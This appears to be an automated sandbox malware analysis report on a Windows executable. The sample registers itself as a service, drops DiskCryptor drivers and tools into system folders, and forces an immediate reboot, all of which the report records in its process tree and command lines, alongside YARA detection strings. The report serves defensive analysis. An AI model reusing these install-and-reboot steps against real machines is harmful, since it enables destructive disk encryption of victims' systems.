Edit tour

Windows Analysis Report
09490699.exe

Overview

General Information

Sample Name:	09490699.exe
Analysis ID:	884770
MD5:	3aab057312f4f899b322f3f282eba2f3
SHA1:	53907d8c91acd85e53c058562a7f61e998bd9002
SHA256:	d69ab6b8780792026dc20e123afbb0e8eab342cbe19b705cb2e1e03d19551986
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Sample is not signed and drops a device driver

Uses shutdown.exe to shutdown or reboot the system

Machine Learning detection for dropped file

Uses 32bit PE files

Creates files inside the driver directory

Yara signature match

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Creates driver files

Enables security privileges

Creates or modifies windows services

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5136 cmdline: cmd /c sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe" >> C:\servicereg.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5428 cmdline: sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe" MD5: 24A3E2603E63BCB9695A2935D3B24695)

cmd.exe (PID: 5588 cmdline: cmd /c sc start JPfnJ >> C:\servicestart.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 7060 cmdline: sc start JPfnJ MD5: 24A3E2603E63BCB9695A2935D3B24695)

09490699.exe (PID: 4564 cmdline: C:\Users\user\Desktop\09490699.exe MD5: 3AAB057312F4F899B322F3F282EBA2F3)

cmd.exe (PID: 5472 cmdline: C:\Windows\system32\cmd.exe /c 13.exe x -y 50 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

13.exe (PID: 5144 cmdline: 13.exe x -y 50 MD5: A42B35F975D88C1370A7AFF084EE57A7)

cmd.exe (PID: 5828 cmdline: C:\Windows\system32\cmd.exe /c if exist %windir%\Sysnative\drivers\dcrypt.sys (echo 1) else (echo 0) MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dcinst.exe (PID: 2408 cmdline: dcinst.exe -setup MD5: FF5F598D99FD00F998FFA8DAC3BB620A)

shutdown.exe (PID: 1952 cmdline: shutdown -r -t 0 -f MD5: E2EB9CC0FE26E28406FB6F82F8E81B26)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Disgusting\dcapi.dll	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x276ce:$s4: dc_get_mbr_config 0x275f0:$s5: dc_encrypt_iso_image 0x27846:$s6: dc_start_re_encrypt 0x27825:$s7: dc_start_encrypt
C:\Windows\System32\drivers\dcrypt.sys	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2b3d8:$d1: \DosDevices\dcrypt 0x2b488:$d2: $dcsys$_fail_%x 0x2b468:$d3: %s\$DC_TRIM_%x$ 0x2b3b8:$d4: \Device\dcrypt 0x2b420:$d5: %s\$dcsys$
C:\Disgusting\dcrypt.sys	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2b3d8:$d1: \DosDevices\dcrypt 0x2b488:$d2: $dcsys$_fail_%x 0x2b468:$d3: %s\$DC_TRIM_%x$ 0x2b3b8:$d4: \Device\dcrypt 0x2b420:$d5: %s\$dcsys$
C:\Disgusting\dccon.exe	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0xb558:$s4: dc_get_mbr_config 0xb704:$s5: dc_encrypt_iso_image 0xb7bc:$s6: dc_start_re_encrypt 0xb5e6:$s7: dc_start_encrypt

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x276ce:$s4: dc_get_mbr_config 0x40358:$s4: dc_get_mbr_config 0x43114:$s4: dc_get_mbr_config 0x275f0:$s5: dc_encrypt_iso_image 0x40504:$s5: dc_encrypt_iso_image 0x27846:$s6: dc_start_re_encrypt 0x405bc:$s6: dc_start_re_encrypt 0x27825:$s7: dc_start_encrypt 0x403e6:$s7: dc_start_encrypt 0x6f5d8:$d1: \DosDevices\dcrypt 0x6f688:$d2: $dcsys$_fail_%x 0x6f668:$d3: %s\$DC_TRIM_%x$ 0x6f5b8:$d4: \Device\dcrypt 0x6f620:$d5: %s\$dcsys$

Unpacked PEs

Source	Rule	Description	Author	Strings
9.3.13.exe.12b4e00.5.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0xa158:$s4: dc_get_mbr_config 0xc114:$s4: dc_get_mbr_config 0xa304:$s5: dc_encrypt_iso_image 0xa3bc:$s6: dc_start_re_encrypt 0xa1e6:$s7: dc_start_encrypt
9.3.13.exe.1280000.3.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x260ce:$s4: dc_get_mbr_config 0x25ff0:$s5: dc_encrypt_iso_image 0x26246:$s6: dc_start_re_encrypt 0x26225:$s7: dc_start_encrypt
9.3.13.exe.12c4200.6.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2b3d8:$d1: \DosDevices\dcrypt 0x2b488:$d2: $dcsys$_fail_%x 0x2b468:$d3: %s\$DC_TRIM_%x$ 0x2b3b8:$d4: \Device\dcrypt 0x2b420:$d5: %s\$dcsys$
9.3.13.exe.1344200.0.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2a1d8:$d1: \DosDevices\dcrypt 0x2a288:$d2: $dcsys$_fail_%x 0x2a268:$d3: %s\$DC_TRIM_%x$ 0x2a1b8:$d4: \Device\dcrypt 0x2a220:$d5: %s\$dcsys$
9.3.13.exe.12c1c00.4.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x1514:$s4: dc_get_mbr_config 0x2d9d8:$d1: \DosDevices\dcrypt 0x2da88:$d2: $dcsys$_fail_%x 0x2da68:$d3: %s\$DC_TRIM_%x$ 0x2d9b8:$d4: \Device\dcrypt 0x2da20:$d5: %s\$dcsys$
9.3.13.exe.1341c00.2.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x1514:$s4: dc_get_mbr_config 0x2d9d8:$d1: \DosDevices\dcrypt 0x2da88:$d2: $dcsys$_fail_%x 0x2da68:$d3: %s\$DC_TRIM_%x$ 0x2d9b8:$d4: \Device\dcrypt 0x2da20:$d5: %s\$dcsys$
9.3.13.exe.1344200.0.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2b3d8:$d1: \DosDevices\dcrypt 0x2b488:$d2: $dcsys$_fail_%x 0x2b468:$d3: %s\$DC_TRIM_%x$ 0x2b3b8:$d4: \Device\dcrypt 0x2b420:$d5: %s\$dcsys$
9.3.13.exe.12b4e00.5.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0xb558:$s4: dc_get_mbr_config 0xe314:$s4: dc_get_mbr_config 0xb704:$s5: dc_encrypt_iso_image 0xb7bc:$s6: dc_start_re_encrypt 0xb5e6:$s7: dc_start_encrypt 0x3a7d8:$d1: \DosDevices\dcrypt 0x3a888:$d2: $dcsys$_fail_%x 0x3a868:$d3: %s\$DC_TRIM_%x$ 0x3a7b8:$d4: \Device\dcrypt 0x3a820:$d5: %s\$dcsys$
9.3.13.exe.1334e00.1.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0xb558:$s4: dc_get_mbr_config 0xe314:$s4: dc_get_mbr_config 0xb704:$s5: dc_encrypt_iso_image 0xb7bc:$s6: dc_start_re_encrypt 0xb5e6:$s7: dc_start_encrypt 0x3a7d8:$d1: \DosDevices\dcrypt 0x3a888:$d2: $dcsys$_fail_%x 0x3a868:$d3: %s\$DC_TRIM_%x$ 0x3a7b8:$d4: \Device\dcrypt 0x3a820:$d5: %s\$dcsys$
12.2.dcinst.exe.7ff87a7c0000.1.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x276ce:$s4: dc_get_mbr_config 0x275f0:$s5: dc_encrypt_iso_image 0x27846:$s6: dc_start_re_encrypt 0x27825:$s7: dc_start_encrypt
9.3.13.exe.12c4200.6.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x2a1d8:$d1: \DosDevices\dcrypt 0x2a288:$d2: $dcsys$_fail_%x 0x2a268:$d3: %s\$DC_TRIM_%x$ 0x2a1b8:$d4: \Device\dcrypt 0x2a220:$d5: %s\$dcsys$
9.3.13.exe.1334e00.1.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0xa158:$s4: dc_get_mbr_config 0xc114:$s4: dc_get_mbr_config 0xa304:$s5: dc_encrypt_iso_image 0xa3bc:$s6: dc_start_re_encrypt 0xa1e6:$s7: dc_start_encrypt
9.3.13.exe.1280000.3.raw.unpack	INDICATOR_TOOL_ENC_DiskCryptor	Detect DiskCryptor open encryption solution that offers encryption of all disk partitions	ditekSHen	0x276ce:$s4: dc_get_mbr_config 0x40358:$s4: dc_get_mbr_config 0x43114:$s4: dc_get_mbr_config 0x275f0:$s5: dc_encrypt_iso_image 0x40504:$s5: dc_encrypt_iso_image 0x27846:$s6: dc_start_re_encrypt 0x405bc:$s6: dc_start_re_encrypt 0x27825:$s7: dc_start_encrypt 0x403e6:$s7: dc_start_encrypt 0x6f5d8:$d1: \DosDevices\dcrypt 0x6f688:$d2: $dcsys$_fail_%x 0x6f668:$d3: %s\$DC_TRIM_%x$ 0x6f5b8:$d4: \Device\dcrypt 0x6f620:$d5: %s\$dcsys$
Click to see the 8 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 09490699.exe

ReversingLabs: Detection: 54%

Antivirus / Scanner detection for submitted sample

Source: 09490699.exe

Avira: detected

Machine Learning detection for dropped file

Source: C:\Disgusting\dcapi.dll

Joe Sandbox ML: detected

Source: 09490699.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source:

Binary string: dcrypt.pdb source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr

Source: C:\Disgusting\13.exe	Code function: 9_2_012358CD __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,		9_2_012358CD
Source: C:\Disgusting\13.exe	Code function: 9_2_0123765C FindFirstFileW,		9_2_0123765C

Source: C:\Disgusting\13.exe

Code function: 9_2_01236306 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,

9_2_01236306

Source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, dcinst.exe, 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmp, dcinst.exe, 0000000C.00000002.568298577.00007FF87A7EC000.00000002.00000001.01000000.00000007.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr, dcapi.dll.9.dr, dcinst.exe.9.dr, dccon.exe.9.dr	String found in binary or memory: http://diskcryptor.net/
Source: 09490699.exe	String found in binary or memory: http://gcc.gnu.org/bugs.html):
Source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.3.13.exe.12b4e00.5.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1280000.3.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.12c4200.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1344200.0.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.12c1c00.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1341c00.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1344200.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.12b4e00.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1334e00.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 12.2.dcinst.exe.7ff87a7c0000.1.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.12c4200.6.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1334e00.1.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 9.3.13.exe.1280000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: C:\Disgusting\dcapi.dll, type: DROPPED	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: C:\Windows\System32\drivers\dcrypt.sys, type: DROPPED	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: C:\Disgusting\dcrypt.sys, type: DROPPED	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen
Source: C:\Disgusting\dccon.exe, type: DROPPED	Matched rule: Detect DiskCryptor open encryption solution that offers encryption of all disk partitions Author: ditekSHen

Uses shutdown.exe to shutdown or reboot the system

Source: C:\Users\user\Desktop\09490699.exe

Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 0 -f

Source: 09490699.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Disgusting\dcinst.exe

File created: C:\Windows\system32\drivers\dcrypt.sys

Jump to behavior

Source: 9.3.13.exe.12b4e00.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1280000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.12c4200.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1344200.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.12c1c00.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1341c00.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1344200.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.12b4e00.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1334e00.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 12.2.dcinst.exe.7ff87a7c0000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.12c4200.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1334e00.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 9.3.13.exe.1280000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: C:\Disgusting\dcapi.dll, type: DROPPED	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: C:\Windows\System32\drivers\dcrypt.sys, type: DROPPED	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: C:\Disgusting\dcrypt.sys, type: DROPPED	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions
Source: C:\Disgusting\dccon.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_ENC_DiskCryptor author = ditekSHen, description = Detect DiskCryptor open encryption solution that offers encryption of all disk partitions

Source: C:\Disgusting\dcinst.exe

File created: C:\Windows\system32\drivers\dcrypt.sys

Jump to behavior

Source: C:\Users\user\Desktop\09490699.exe	Code function: 6_2_0042CA80	6_2_0042CA80
Source: C:\Disgusting\13.exe	Code function: 9_2_0123826A	9_2_0123826A
Source: C:\Disgusting\13.exe	Code function: 9_2_01231574	9_2_01231574
Source: C:\Disgusting\13.exe	Code function: 9_2_0123176C	9_2_0123176C
Source: C:\Disgusting\13.exe	Code function: 9_2_0124384C	9_2_0124384C
Source: C:\Disgusting\13.exe	Code function: 9_2_01245BB2	9_2_01245BB2
Source: C:\Disgusting\13.exe	Code function: 9_2_01254C61	9_2_01254C61
Source: C:\Disgusting\13.exe	Code function: 9_2_01263F01	9_2_01263F01
Source: C:\Disgusting\13.exe	Code function: 9_2_01263FDB	9_2_01263FDB
Source: C:\Disgusting\dcinst.exe	Code function: 12_2_00007FF87A7C1AE0	12_2_00007FF87A7C1AE0
Source: C:\Disgusting\dcinst.exe	Code function: 12_2_00007FF87A7C1110	12_2_00007FF87A7C1110

Source: C:\Users\user\Desktop\09490699.exe	Code function: String function: 0042CC10 appears 36 times
Source: C:\Users\user\Desktop\09490699.exe	Code function: String function: 0043BBA0 appears 118 times
Source: C:\Disgusting\13.exe	Code function: String function: 012639E0 appears 386 times
Source: C:\Disgusting\13.exe	Code function: String function: 01231ABD appears 79 times

Source: C:\Disgusting\13.exe

Code function: 9_2_012366D0: DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,

9_2_012366D0

Source: 09490699.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (console) Intel 80386, for MS Windows
Source: 09490699.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: 09490699.exe	Static PE information: Resource name: RT_RCDATA type: 7-zip archive data, version 0.4
Source: 09490699.exe	Static PE information: Resource name: RT_RCDATA type: 7-zip archive data, version 0.4

Source: 09490699.exe, 00000006.00000003.569015693.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.569015693.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: teTEobjCOFFexe dll sysPEVFT2_FONT_TRUETYPEVFT2_FONT_VECTORVFT2_FONT_RASTERVERSIONED_PRINTERINPUTMETHODCOMMSOUNDINSTALLABLESYSTEMNETWORKMOUSEDISPLAYLANGUAGEKEYBOARDPRINTERVFT_STATIC_LIB0x6VFT_VXDVFT_FONTVFT_DRVVFT_DLLVFT_APPVFT_UNKNOWNVOS__WINDOWS32VOS__PM32VOS__PM16VOS__WINDOWS16VOS__BASEVOS_WINCEVOS_NTVOS_OS232VOS_OS216VOS_DOSVOS_UNKNOWNVOS_NT_WINDOWS32VOS_OS232_PM32VOS_OS216_PM16VOS_DOS_WINDOWS32VOS_DOS_WINDOWS16SPECIALBUILDINFOINFERREDPRIVATEBUILDPATCHEDPRERELEASEImage BaseHeap CommitHeap ReserveStack CommitStack ReserveDLL CharacteristicsSubsystemSubsystem VersionImage VersionOS VersionLinker VersionUninitialized Data SizeInitialized Data SizeCode SizeFile AlignmentSection AlignmentImage SizeMANIFESTHTMLANIICONANICURSORVXDPLUGPLAYDLGINCLUDEVERSIONGROUP_ICONGROUP_CURSORMESSAGETABLERCDATAACCELERATORFONTFONTDIRSTRINGDIALOGMENUICONBITMAPCURSORXBOX CatalogWindows BootXBOXEFI ROMEFI RuntimeEFI BootWindows CEWin9xPosixOS2Windows CUIWindows GUINativeCEEM32RCEFTriCoreMIPS-FPU16MIPS-FPUAlpha-64MIPS-16PPC-FPPPCAM33ARM-NTARM-ThumbSH5SH4SH3ESH3-DSPSH3MIPS-V2MIPS-R10000MIPS-R4000MIPS-R3000I860SharedNotPagedNotCachedDiscardableExtendedRelocationsLOCKEDPURGEABLEGPNO_DEFER_SPEC_EXCCOMDATRemoveCommentsOtherUninitializedDataInitializedDataCodeNoPadTerminalServerAwareGuardCFWDMAppContainerNoBindNoSEHNoIsolationNX-CompatibleIntegrityRelocatedHighEntropyVABig-EndianLittle-EndianUniCPUSystemNetRunRemovableRunNoDebugInfoAggressiveWsTrimNoLocalSymsNoLineNumsNoRelocsLargeAddress32-bitDLLExecutableChecksum errorefi[]align_.ico.bmpversion.txtstring.txt.debugVFT2_DRV_FILESUBTYPE FILETYPE FILEOS VS_FF_ \| FILEFLAGS FILEFLAGSMASK ProductVersionFileVersionPRODUCTVERSION FILEVERSION .rsrc_1StringFileInfo, TranslationVALUEVarFileInfoBLOCKVS_VERSION_INFOFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE^# vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.569015693.000000000151E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.dll, vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.563688208.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.563688208.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: teTEobjCOFFexe dll sysPEVFT2_FONT_TRUETYPEVFT2_FONT_VECTORVFT2_FONT_RASTERVERSIONED_PRINTERINPUTMETHODCOMMSOUNDINSTALLABLESYSTEMNETWORKMOUSEDISPLAYLANGUAGEKEYBOARDPRINTERVFT_STATIC_LIB0x6VFT_VXDVFT_FONTVFT_DRVVFT_DLLVFT_APPVFT_UNKNOWNVOS__WINDOWS32VOS__PM32VOS__PM16VOS__WINDOWS16VOS__BASEVOS_WINCEVOS_NTVOS_OS232VOS_OS216VOS_DOSVOS_UNKNOWNVOS_NT_WINDOWS32VOS_OS232_PM32VOS_OS216_PM16VOS_DOS_WINDOWS32VOS_DOS_WINDOWS16SPECIALBUILDINFOINFERREDPRIVATEBUILDPATCHEDPRERELEASEImage BaseHeap CommitHeap ReserveStack CommitStack ReserveDLL CharacteristicsSubsystemSubsystem VersionImage VersionOS VersionLinker VersionUninitialized Data SizeInitialized Data SizeCode SizeFile AlignmentSection AlignmentImage SizeMANIFESTHTMLANIICONANICURSORVXDPLUGPLAYDLGINCLUDEVERSIONGROUP_ICONGROUP_CURSORMESSAGETABLERCDATAACCELERATORFONTFONTDIRSTRINGDIALOGMENUICONBITMAPCURSORXBOX CatalogWindows BootXBOXEFI ROMEFI RuntimeEFI BootWindows 